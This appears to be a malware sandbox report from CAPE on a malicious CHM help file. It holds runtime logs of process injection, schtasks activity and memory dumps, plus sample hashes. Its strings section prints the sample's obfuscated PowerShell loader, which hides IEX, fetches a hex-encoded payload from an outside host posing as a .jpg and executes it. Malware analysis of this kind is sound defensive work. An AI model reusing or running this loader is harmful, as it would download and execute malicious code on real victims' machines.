2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFD2D0000: C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x0000000077900000: C:\Windows\system32\normaliz (0x3000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFE190000: C:\Windows\system32\iertutil (0x2cc000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFD360000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\USERENV (0x1f000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFD2B0000: C:\Windows\system32\profapi (0xf000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFD330000: C:\Windows\system32\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2025-12-09 07:10:11,203 [root] DEBUG: 920: DLL loaded at 0x000007FEFCEC0000: C:\Windows\system32\Secur32 (0xb000 bytes).
2025-12-09 07:10:11,203 [root] DEBUG: 920: DLL loaded at 0x000007FEFECB0000: C:\Windows\system32\SHELL32 (0xd8b000 bytes).
2025-12-09 07:10:11,203 [root] DEBUG: 920: DLL loaded at 0x000007FEF9A20000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l2-1-0 (0x4000 bytes).
2025-12-09 07:10:11,218 [root] DEBUG: 920: DLL loaded at 0x000007FEF85C0000: C:\Windows\system32\winhttp (0x71000 bytes).
2025-12-09 07:10:11,218 [root] DEBUG: 920: DLL loaded at 0x000007FEF8550000: C:\Windows\system32\webio (0x65000 bytes).
2025-12-09 07:10:11,234 [root] DEBUG: 920: DLL loaded at 0x000007FEFC9F0000: C:\Windows\system32\mswsock (0x55000 bytes).
2025-12-09 07:10:11,234 [root] DEBUG: 920: DLL loaded at 0x000007FEFC9E0000: C:\Windows\System32\wship6 (0x7000 bytes).
2025-12-09 07:10:11,234 [root] DEBUG: 920: DLL loaded at 0x000007FEFAB40000: C:\Windows\system32\IPHLPAPI (0x27000 bytes).
2025-12-09 07:10:11,234 [root] DEBUG: 920: DLL loaded at 0x000007FEFABE0000: C:\Windows\system32\WINNSI (0xb000 bytes).
2025-12-09 07:10:12,531 [root] DEBUG: 2384: caller_dispatch: Added region at 0x00000000FF1E0000 to tracked regions list (ntdll::NtWaitForSingleObject returns to 0x00000000FF1E1318, thread 2304).
2025-12-09 07:10:12,531 [root] DEBUG: 2384: YaraScan: Scanning 0x00000000FF1E0000, size 0xa052
2025-12-09 07:10:12,531 [root] DEBUG: 2384: ProcessImageBase: Main module image at 0x00000000FF1E0000 unmodified (entropy change 0.000000e+00)
2025-12-09 07:10:14,859 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 1100, handle 0x4ac: C:\Windows\System32\schtasks.exe
2025-12-09 07:10:14,875 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 1232, handle 0x4ac: C:\Windows\System32\schtasks.exe
2025-12-09 07:10:14,890 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 3000, handle 0x4ac: C:\Windows\System32\schtasks.exe
2025-12-09 07:10:16,281 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat
2025-12-09 07:10:16,296 [root] INFO: Process with pid 920 has terminated
2025-12-09 07:10:16,296 [root] DEBUG: 920: NtTerminateProcess hook: Attempting to dump process 920
2025-12-09 07:10:16,312 [root] DEBUG: 920: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-09 07:10:20,703 [root] DEBUG: 968: api-rate-cap: SwitchToThread hook disabled due to rate
2025-12-09 07:10:36,687 [root] DEBUG: 968: api-rate-cap: NtYieldExecution hook disabled due to rate
2025-12-09 07:10:37,109 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 2520, handle 0x5a0: C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
2025-12-09 07:10:37,156 [root] DEBUG: 556: CreateProcessHandler: Injection info set for new process 2660: C:\Windows\system32\DllHost.exe, ImageBase: 0x00000000FFB00000
2025-12-09 07:10:37,156 [root] INFO: Announced 64-bit process name: dllhost.exe pid: 2660
2025-12-09 07:10:37,156 [lib.api.process] INFO: Monitor config for <Process 2660 dllhost.exe>: C:\tmpm1ij88hx\dll\2660.ini
2025-12-09 07:10:37,156 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:10:37,187 [root] DEBUG: Loader: Injecting process 2660 (thread 2320) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:10:37,187 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-09 07:10:37,187 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:10:37,187 [lib.api.process] INFO: Injected into 64-bit <Process 2660 dllhost.exe>
2025-12-09 07:10:37,187 [root] INFO: Announced 64-bit process name: dllhost.exe pid: 2660
2025-12-09 07:10:37,187 [lib.api.process] INFO: Monitor config for <Process 2660 dllhost.exe>: C:\tmpm1ij88hx\dll\2660.ini
2025-12-09 07:10:37,187 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:10:37,203 [root] DEBUG: Loader: Injecting process 2660 (thread 2320) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:10:37,203 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-09 07:10:37,203 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:10:37,203 [lib.api.process] INFO: Injected into 64-bit <Process 2660 dllhost.exe>
2025-12-09 07:10:37,218 [root] DEBUG: 2660: Python path set to 'C:\Python38'.
2025-12-09 07:10:37,218 [root] DEBUG: 2660: Dropped file limit defaulting to 100.
2025-12-09 07:10:37,218 [root] INFO: Disabling sleep skipping.
2025-12-09 07:10:37,218 [root] DEBUG: 2660: YaraInit: Compiled rules loaded from existing file C:\tmpm1ij88hx\data\yara\capemon.yac
2025-12-09 07:10:37,218 [root] DEBUG: 2660: YaraScan: Scanning 0x00000000FFB00000, size 0x6012
2025-12-09 07:10:37,234 [root] DEBUG: 2660: Monitor initialised: 64-bit capemon loaded in process 2660 at 0x000007FEF30B0000, thread 2320, image base 0x00000000FFB00000, stack from 0x0000000000125000-0x0000000000130000
2025-12-09 07:10:37,234 [root] DEBUG: 2660: Commandline: C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
2025-12-09 07:10:37,249 [root] DEBUG: 2660: GetAddressByYara: ModuleBase 0x0000000077760000 FunctionName LdrpCallInitRoutine
2025-12-09 07:10:37,249 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-09 07:10:37,249 [root] DEBUG: 2660: set_hooks: Unable to hook LockResource
2025-12-09 07:10:37,265 [root] DEBUG: 2660: Hooked 605 out of 606 functions
2025-12-09 07:10:37,265 [root] INFO: Loaded monitor into process with pid 2660
2025-12-09 07:10:37,265 [root] DEBUG: 2660: caller_dispatch: Added region at 0x00000000FFB00000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x00000000FFB011B5, thread 2320).
2025-12-09 07:10:37,265 [root] DEBUG: 2660: YaraScan: Scanning 0x00000000FFB00000, size 0x6012
2025-12-09 07:10:37,265 [root] DEBUG: 2660: ProcessImageBase: Main module image at 0x00000000FFB00000 unmodified (entropy change 0.000000e+00)
2025-12-09 07:10:37,265 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD110000: C:\Windows\system32\CRYPTBASE (0xf000 bytes).
2025-12-09 07:10:37,265 [root] DEBUG: 2660: DLL loaded at 0x000007FEFE7F0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2025-12-09 07:10:37,265 [root] DEBUG: 2660: DLL loaded at 0x000007FEFEB70000: C:\Windows\system32\OLEAUT32 (0xdb000 bytes).
2025-12-09 07:10:37,281 [root] DEBUG: 2660: DLL loaded at 0x000007FEFCA50000: C:\Windows\system32\CRYPTSP (0x18000 bytes).
2025-12-09 07:10:37,281 [root] DEBUG: 2660: DLL loaded at 0x000007FEFC750000: C:\Windows\system32\rsaenh (0x47000 bytes).
2025-12-09 07:10:37,281 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD200000: C:\Windows\system32\RpcRtRemote (0x14000 bytes).
2025-12-09 07:10:37,281 [root] DEBUG: 2660: DLL loaded at 0x000007FEFB9F0000: C:\Windows\system32\uxtheme (0x56000 bytes).
2025-12-09 07:10:37,281 [root] DEBUG: 2660: DLL loaded at 0x000007FEFDC70000: C:\Windows\System32\wininet (0x4ac000 bytes).
2025-12-09 07:10:37,281 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD650000: C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2025-12-09 07:10:37,281 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD2E0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2025-12-09 07:10:37,296 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD660000: C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2025-12-09 07:10:37,296 [root] DEBUG: 2660: DLL loaded at 0x000007FEFC390000: C:\Windows\system32\version (0xc000 bytes).
2025-12-09 07:10:37,296 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD2D0000: C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2025-12-09 07:10:37,296 [root] DEBUG: 2660: DLL loaded at 0x0000000077900000: C:\Windows\system32\normaliz (0x3000 bytes).
2025-12-09 07:10:37,296 [root] DEBUG: 2660: DLL loaded at 0x000007FEFE190000: C:\Windows\system32\iertutil (0x2cc000 bytes).
2025-12-09 07:10:37,296 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD360000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2025-12-09 07:10:37,296 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\USERENV (0x1f000 bytes).
2025-12-09 07:10:37,312 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD2B0000: C:\Windows\system32\profapi (0xf000 bytes).
2025-12-09 07:10:37,312 [root] DEBUG: 2660: DLL loaded at 0x000007FEFD330000: C:\Windows\system32\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2025-12-09 07:10:37,312 [root] DEBUG: 2660: DLL loaded at 0x000007FEFCEC0000: C:\Windows\system32\Secur32 (0xb000 bytes).
2025-12-09 07:10:37,312 [root] DEBUG: 2660: DLL loaded at 0x000007FEFECB0000: C:\Windows\system32\SHELL32 (0xd8b000 bytes).
2025-12-09 07:10:37,312 [root] DEBUG: 2660: DLL loaded at 0x000007FEF9A20000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l2-1-0 (0x4000 bytes).
2025-12-09 07:10:37,328 [root] DEBUG: 2660: DLL loaded at 0x000007FEF85C0000: C:\Windows\system32\winhttp (0x71000 bytes).
2025-12-09 07:10:37,328 [root] DEBUG: 2660: DLL loaded at 0x000007FEF8550000: C:\Windows\system32\webio (0x65000 bytes).
2025-12-09 07:10:37,328 [root] DEBUG: 2660: DLL loaded at 0x000007FEFC9F0000: C:\Windows\system32\mswsock (0x55000 bytes).
2025-12-09 07:10:37,328 [root] DEBUG: 2660: DLL loaded at 0x000007FEFC9E0000: C:\Windows\System32\wship6 (0x7000 bytes).
2025-12-09 07:10:37,343 [root] DEBUG: 2660: DLL loaded at 0x000007FEFAB40000: C:\Windows\system32\IPHLPAPI (0x27000 bytes).
2025-12-09 07:10:37,343 [root] DEBUG: 2660: DLL loaded at 0x000007FEFABE0000: C:\Windows\system32\WINNSI (0xb000 bytes).
2025-12-09 07:10:42,328 [root] INFO: Process with pid 2660 has terminated
2025-12-09 07:10:42,328 [root] DEBUG: 2660: NtTerminateProcess hook: Attempting to dump process 2660
2025-12-09 07:10:42,328 [root] DEBUG: 2660: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-09 07:12:47,515 [root] INFO: Analysis timeout hit, terminating analysis
2025-12-09 07:12:47,515 [lib.api.process] INFO: Terminate event set for <Process 2492 hh.exe>
2025-12-09 07:12:47,515 [root] DEBUG: 2492: Terminate Event: Attempting to dump process 2492
2025-12-09 07:12:47,515 [root] DEBUG: 2492: VerifyCodeSection: Executable code does not match, 0xa0 of 0x1870 matching
2025-12-09 07:12:47,515 [root] DEBUG: 2492: DoProcessDump: Code modification detected, dumping Imagebase at 0x00000000FFBF0000.
2025-12-09 07:12:47,515 [root] DEBUG: 2492: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2025-12-09 07:12:47,515 [root] DEBUG: 2492: DumpProcess: Instantiating PeParser with address: 0x00000000FFBF0000.
2025-12-09 07:12:47,515 [root] DEBUG: 2492: DumpProcess: Module entry point VA is 0x0000000000001D30.
2025-12-09 07:12:47,515 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\2492_2111547122381122025 to procdump\229a16e1a614fb410abb3c5ac98dc616074f09a2ab06a10728b8372f87a5cdb3; Size is 18432; Max size: 100000000
2025-12-09 07:12:47,515 [root] DEBUG: 2492: DumpProcess: Module image dump success - dump size 0x4800.
2025-12-09 07:12:47,515 [root] DEBUG: 2492: Terminate Event: Current region 0x00000000021464F0
2025-12-09 07:12:47,515 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\~DFE4C0C9E922237CB3.TMP
2025-12-09 07:12:47,515 [lib.api.process] INFO: Termination confirmed for <Process 2492 hh.exe>
2025-12-09 07:12:47,515 [root] DEBUG: 2492: Terminate Event: CAPE shutdown complete for process 2492
2025-12-09 07:12:47,515 [root] INFO: Terminate event set for process 2492
2025-12-09 07:12:47,531 [lib.api.process] INFO: Terminate event set for <Process 968 powershell.exe>
2025-12-09 07:12:47,531 [root] DEBUG: 968: Terminate Event: Attempting to dump process 968
2025-12-09 07:12:47,531 [root] DEBUG: 968: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-09 07:12:47,531 [root] DEBUG: 968: DumpInterestingRegions: Dumping .NET JIT native cache at 0x000007FE8FC90000.
2025-12-09 07:12:47,531 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\968_2177147122381122025 to CAPE\1e669c21f786c23be96c1a1b3283f48f194d94fdb6c5e4c1e1f063ee46646e2b; Size is 42825; Max size: 100000000
2025-12-09 07:12:47,531 [root] DEBUG: 968: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\968_2177147122381122025 (size 42825 bytes)
2025-12-09 07:12:47,531 [root] DEBUG: 968: DumpInterestingRegions: Dumping .NET JIT native cache at 0x000007FE8FD60000.
2025-12-09 07:12:47,531 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\968_980597747122381122025 to CAPE\7351acf7b761f49bc7ca74842e91ea2ce3e51e95da922c0d0b9c9928f92746dc; Size is 18362; Max size: 100000000
2025-12-09 07:12:47,531 [root] DEBUG: 968: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\968_980597747122381122025 (size 18362 bytes)
2025-12-09 07:12:47,531 [root] DEBUG: 968: Terminate Event: Current region 0x000000000204DFB0
2025-12-09 07:12:47,531 [root] DEBUG: 968: DumpPEsInRange: Scanning range 0x000007FE8FD40000 - 0x000007FE8FD4018C.
2025-12-09 07:12:47,531 [root] DEBUG: 968: ScanForDisguisedPE: Size too small: 0x18c bytes
2025-12-09 07:12:47,531 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\968_336335447122381122025 to CAPE\5e231a9575d92a396d4b4a56988b3093461f6632a4fb4a6442211677f36ed6ac; Size is 396; Max size: 100000000
2025-12-09 07:12:47,546 [root] DEBUG: 968: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\968_336335447122381122025 (size 396 bytes)
2025-12-09 07:12:47,546 [root] DEBUG: 968: DumpRegion: Dumped entire allocation from 0x000007FE8FD40000, size 4096 bytes.
2025-12-09 07:12:47,546 [root] DEBUG: 968: ProcessTrackedRegion: Dumped region at 0x000007FE8FD40000.
2025-12-09 07:12:47,546 [root] DEBUG: 968: YaraScan: Scanning 0x000007FE8FD40000, size 0x18c
2025-12-09 07:12:47,546 [root] INFO: Added new file to list with pid None and path C:\PSTranscripts\20251209\PowerShell_transcript.USERDUM-8A61A1P.o3rz6VZb.20251209170730.txt
2025-12-09 07:12:47,546 [lib.api.process] INFO: Termination confirmed for <Process 968 powershell.exe>
2025-12-09 07:12:47,546 [root] DEBUG: 968: Terminate Event: CAPE shutdown complete for process 968
2025-12-09 07:12:47,546 [root] INFO: Terminate event set for process 968
2025-12-09 07:12:47,546 [lib.api.process] INFO: Terminate event set for <Process 556 svchost.exe>
2025-12-09 07:12:47,546 [root] DEBUG: 556: Terminate Event: Attempting to dump process 556
2025-12-09 07:12:47,546 [root] DEBUG: 556: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-09 07:12:47,546 [root] DEBUG: 556: Terminate Event: Current region empty
2025-12-09 07:12:47,546 [root] DEBUG: 556: Terminate Event: CAPE shutdown complete for process 556
2025-12-09 07:12:47,546 [lib.api.process] INFO: Termination confirmed for <Process 556 svchost.exe>
2025-12-09 07:12:47,546 [root] INFO: Terminate event set for process 556
2025-12-09 07:12:47,546 [lib.api.process] INFO: Terminate event set for <Process 2384 svchost.exe>
2025-12-09 07:12:47,546 [root] DEBUG: 2384: Terminate Event: Attempting to dump process 2384
2025-12-09 07:12:47,546 [root] DEBUG: 2384: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-09 07:12:47,546 [root] DEBUG: 2384: Terminate Event: Current region empty
2025-12-09 07:12:47,546 [lib.api.process] INFO: Termination confirmed for <Process 2384 svchost.exe>
2025-12-09 07:12:47,546 [root] DEBUG: 2384: Terminate Event: CAPE shutdown complete for process 2384
2025-12-09 07:12:47,546 [root] INFO: Terminate event set for process 2384
2025-12-09 07:12:47,546 [lib.api.process] INFO: Terminate event set for <Process 1144 WmiPrvSE.exe>
2025-12-09 07:12:47,546 [root] DEBUG: 1144: Terminate Event: Attempting to dump process 1144
2025-12-09 07:12:47,546 [root] DEBUG: 1144: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-09 07:12:47,546 [root] DEBUG: 1144: Terminate Event: Current region empty
2025-12-09 07:12:47,546 [root] DEBUG: 1144: Terminate Event: Shutdown complete for process 1144 but failed to inform analyzer.
2025-12-09 07:12:52,546 [lib.api.process] INFO: Termination confirmed for <Process 1144 WmiPrvSE.exe>
2025-12-09 07:12:52,546 [root] INFO: Terminate event set for process 1144
2025-12-09 07:12:52,546 [root] INFO: Created shutdown mutex
2025-12-09 07:12:53,546 [root] INFO: Shutting down package
2025-12-09 07:12:53,546 [root] INFO: Stopping auxiliary modules
2025-12-09 07:12:53,546 [root] INFO: Stopping auxiliary module: Browser
2025-12-09 07:12:53,546 [root] INFO: Stopping auxiliary module: Curtain
2025-12-09 07:12:53,593 [lib.common.results] INFO: Uploading file C:\curtain.log to curtain/1765235573.59375.curtain.log; Size is 17152; Max size: 100000000
2025-12-09 07:12:53,593 [root] INFO: Stopping auxiliary module: End_noisy_tasks
2025-12-09 07:12:53,593 [root] INFO: Stopping auxiliary module: Evtx
2025-12-09 07:12:53,609 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\Application.evtx to zip dump
2025-12-09 07:12:53,609 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\HardwareEvents.evtx to zip dump
2025-12-09 07:12:53,609 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\Internet Explorer.evtx to zip dump
2025-12-09 07:12:53,609 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\Key Management Service.evtx to zip dump
2025-12-09 07:12:53,609 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\Microsoft-Windows-Sysmon%4Operational.evtx to zip dump
2025-12-09 07:12:53,625 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\OAlerts.evtx to zip dump
2025-12-09 07:12:53,625 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\Security.evtx to zip dump
2025-12-09 07:12:53,625 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\Setup.evtx to zip dump
2025-12-09 07:12:53,625 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\System.evtx to zip dump
2025-12-09 07:12:53,625 [modules.auxiliary.evtx] DEBUG: Adding C:/windows/Sysnative/winevt/Logs\Windows PowerShell.evtx to zip dump
2025-12-09 07:12:53,640 [modules.auxiliary.evtx] DEBUG: Uploading evtx.zip to host
2025-12-09 07:12:53,640 [lib.common.results] INFO: Uploading file evtx.zip to evtx/evtx.zip; Size is 102001; Max size: 100000000
2025-12-09 07:12:53,640 [root] INFO: Stopping auxiliary module: Human
2025-12-09 07:12:55,312 [root] INFO: Stopping auxiliary module: Pre_script
2025-12-09 07:12:55,312 [root] INFO: Stopping auxiliary module: Screenshots
2025-12-09 07:12:57,328 [root] INFO: Stopping auxiliary module: Usage
2025-12-09 07:12:57,421 [root] INFO: Stopping auxiliary module: During_script
2025-12-09 07:12:57,421 [root] INFO: Finishing auxiliary modules
2025-12-09 07:12:57,421 [root] INFO: Shutting down pipe server and dumping dropped files
2025-12-09 07:12:57,421 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Roaming\Microsoft\HTML Help\hh.dat to files\47e64f4f7dec1b1f7cab02afcbbbd9d1124accb737b0f977730b719bd412c0d4; Size is 8590; Max size: 100000000
2025-12-09 07:12:57,421 [lib.common.results] INFO: Uploading file c:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms to files\24f5753894a374d1aceb657759d95b0f8ed93527675cf4f8ffb754a62a34d1f8; Size is 6066; Max size: 100000000
2025-12-09 07:12:57,421 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat to files\0816f543db6a9b076c3a78b6e6c3e515078a78af28306f70a9a3d0616febc23c; Size is 128; Max size: 100000000
2025-12-09 07:12:57,421 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\~DFE4C0C9E922237CB3.TMP to files\205d000aa762f3a96ac3ad4b25d791b5f7fc8efb9056b78f299f671a02b9fd21; Size is 16384; Max size: 100000000
2025-12-09 07:12:57,421 [lib.common.results] INFO: Uploading file C:\PSTranscripts\20251209\PowerShell_transcript.USERDUM-8A61A1P.o3rz6VZb.20251209170730.txt to files\62e90229d712ff7f225935e514bf7ab3af5de1d46d333e8013a0a09a61c8e3df; Size is 4944; Max size: 100000000
2025-12-09 07:12:57,421 [root] WARNING: Folder at path "C:\STyimYXp\debugger" does not exist, skipping
2025-12-09 07:12:57,421 [root] WARNING: Folder at path "C:\STyimYXp\tlsdump" does not exist, skipping
2025-12-09 07:12:57,421 [root] INFO: Analysis completed
| Name | Label | Manager | Started On | Shutdown On | Route |
|---|---|---|---|---|---|
| win7-64bit-1 | win7-64bit-1 | KVM | 2025-12-09 15:09:38 | 2025-12-09 15:13:05 | inetsim |
| File Name |
5f11baf452c0d7cbb25c.chm
|
|---|---|
| File Type | MS Windows HtmlHelp Data |
| File Size | 11878 bytes |
| MD5 | a92ce13e5f122e96c2388339be7d929b |
| SHA1 | 409067ddca98e02b7e785760a104a178c9fa0292 |
| SHA256 | 5f11baf452c0d7cbb25c232ca09de760fa56253f72e5c2dbc1164a2c347459d5 [VT] [MWDB] [Bazaar] |
| SHA3-384 | 8571ebf21983f4f3427f50b6a86e970f04759a3ff5bf82d0c6096e0ae8d980f5b965dbfa00209db689fb40c2ecaef302 |
| CRC32 | D34E04F4 |
| TLSH | T1AF324C6033900620DE9E17385FE5EB837544B8612FA49366831EC7BF1DEBF0C276499A |
| Ssdeep | 96:ryecfn9LvAck1BOtENGdrOiNHap226m8fNEijkSc6ErB:ryeY9bAcJECOX2LvNEijVcz1 |
| File Strings BinGraph Vba2Graph |
$biLMH='D4@C7@72@72@02@E6@96@F6@A6@D2@02@37@27@16@86@34@96@96@36@37@16@42@02@D3@76@E6@96@27@47@35@96@96@36@37@16@42@B3@D7@22@F5@42@87@03@22@D5@56@47@97@26@B5@D5@27@16@86@36@B5@B7@02@47@36@56@A6@26@F4@D2@86@36@16@54@27@F6@64@C7@02@72@32@72@02@47@96@C6@07@37@D2@02@67@D6@42@02@D3@37@27@16@86@34@96@96@36@37@16@42@B3@92@72@76@07@A6@E2@05@73@F2@F6@27@E2@47@27@56@36@37@57@C6@07@F2@F2@A3@07@47@47@86@72@C2@46@F6@86@47@56@D4@A3@A3@D5@56@07@97@45@C6@C6@16@34@E2@36@96@37@16@24@C6@16@57@37@96@65@E2@47@66@F6@37@F6@27@36@96@D4@B5@C2@72@76@E6@96@27@47@35@46@16@F6@C6@E6@77@F6@44@72@C2@97@47@47@42@82@56@D6@16@E6@97@24@C6@C6@16@34@A3@A3@D5@E6@F6@96@47@36@16@27@56@47@E6@94@E2@36@96@37@16@24@C6@16@57@37@96@65@E2@47@66@F6@37@F6@27@36@96@D4@B5@02@D3@67@D6@42@B3@92@72@36@96@37@16@24@C6@16@57@37@96@65@E2@47@66@F6@37@F6@27@36@96@D4@72@82@56@D6@16@E4@C6@16@96@47@27@16@05@86@47@96@75@46@16@F6@C4@A3@A3@D5@97@C6@26@D6@56@37@37@14@E2@E6@F6@96@47@36@56@C6@66@56@25@E2@D6@56@47@37@97@35@B5@02@D5@46@96@F6@67@B5@B3@D4@C7@72@92@47@E6@56@72@B2@72@96@C6@34@26@72@B2@72@56@75@E2@47@72@B2@72@56@E4@02@47@36@72@B2@72@56@A6@26@F4@72@B2@72@D2@77@56@E4@82@72@D3@97@47@47@42@B3@23@23@07@42@02@D3@02@C6@F6@36@F6@47@F6@27@05@97@47@96@27@57@36@56@35@A3@A3@D5@27@56@76@16@E6@16@D4@47@E6@96@F6@05@56@36@96@67@27@56@35@E2@47@56@E4@E2@D6@56@47@37@97@35@B5@B3@92@23@73@03@33@02@C2@D5@56@07@97@45@C6@F6@36@F6@47@F6@27@05@97@47@96@27@57@36@56@35@E2@47@56@E4@E2@D6@56@47@37@97@35@B5@82@47@36@56@A6@26@F4@F6@45@A3@A3@D5@D6@57@E6@54@B5@02@D3@02@23@23@07@42@B3@92@76@E6@96@07@42@82@02@C6@96@47@E6@57@02@D7@47@56@96@57@15@D2@02@13@02@47@E6@57@F6@36@D2@02@D6@F6@36@E2@56@C6@76@F6@F6@76@02@07@D6@F6@36@D2@02@E6@F6@96@47@36@56@E6@E6@F6@36@D2@47@37@56@47@02@D3@02@76@E6@96@07@42@B7@02@F6@46@B3@56@E6@F6@26@45@42@02@D4@02@C6@16@37@B3@92@72@94@72@C2@72@E3@72@82@56@36@16@C6@07@56@27@E2@72@85@54@E3@72@D3@56@E6@F6@26@45@42';$text =$biLMH.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('@') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])})){[char]([convert]::toint16($_,16))}{( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}$Tbone='>EX'.replace('>','I');sal M $Tbone;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $p22;$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|M;[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'http://pluscert.ro/7P.jpg');$asciiChars= $mv -split '#' |ForEach-Object {[char][byte]"0x$_"};$asciiString= $asciiChars -join ''|M
